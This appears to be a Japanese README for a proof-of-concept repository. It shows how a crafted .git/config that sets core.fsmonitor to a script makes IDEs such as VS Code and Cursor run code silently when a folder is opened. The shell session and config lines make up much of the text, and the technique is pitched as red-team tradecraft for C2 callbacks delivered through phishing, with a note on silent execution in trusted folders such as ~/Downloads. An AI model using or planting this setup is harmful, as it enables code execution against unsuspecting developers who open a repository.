
これは、IDEに対して「fsmonitor」を悪用するためのプルーフ・オブ・ワークです。
これは文書化された(既知の)問題ですが、私のリサーチ中に見つけたもので、RT/PTに非常に役立ちます。
概要: FSMonitorヘルパーは、git status、git diff など、すべてのgitコマンドで git によって実行されるため、git は指定されたパスを盲目的に起動します。IDEはフォルダを開いた瞬間に自動的に git status を実行し、SCM(ソース管理)パネルを設定します。これにより、git が設定されたヘルパーを起動し、攻撃者が制御するコードが実行されます。このトレードクラフトは、RT中や侵害を想定したシナリオで、任意のC2や当社の XRayC2 と組み合わせて、従来のネットワーク防御を回避するコールバックを取得するために使用できます。(もちろん、エンドユーザーをだますためのフィッシングメールは必要ですが、IDEでフォルダを開くのは妥当な操作と思われます)。
実証: このリポジトリを git clone し、以下の設定を .git ディレクトリに追加します。完了したら、IDEで細工されたフォルダを開くと、電卓が表示されるはずです。(Code と Cursor でテスト済み)。このPoCはmacOS固有です。環境に応じて修正してください。
bash-3.2$ cd git-fsmonitor
bash-3.2$ mkdir .git
bash-3.2$ nano .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
fsmonitor = ./icons/icons.sh
bash-3.2$ chmod +x ./icons/icons.sh
bash-3.2$ git init
bash-3.2$ git config core.fsmonitor ./icons/icons.sh
bash-3.2$ ls git-fsmonitor-main/.git/
.DS_Store config description HEAD hooks/ info/ objects/ refs/
bash-3.2$
Code でテスト済み
Version: 1.106.0 (Universal)
Commit: ac4cbdf48759c7d8c3eb91ffe6bb04316e263c57
Date: 2025-11-11T16:02:25.943Z
Electron: 37.7.0
ElectronBuildId: 12597478
Chromium: 138.0.7204.251
Node.js: 22.20.0
V8: 13.8.258.32-electron.0
OS: Darwin x64 25.1.0
https://github.com/user-attachments/assets/4702aadc-f12d-4380-bc6f-bcd564ddcf96
これは、リポジトリを初期化してから core.fsmonitor をファイル(ペイロードにできる)に追加するため機能します。したがって、フォルダを開くだけでコードが実行されます。「ほとんどの」開発者/ユーザーは ~/Downloads (および同様のトップレベルフォルダ)を信頼されたワークスペースに持っているため、PoCはサイレントに実行されます。ただし、リポジトリがそれらの信頼されたパスの外にある場合、IDEは .git/config を読み取る前に「この発行元を信頼しますか?」というプロンプトを表示します。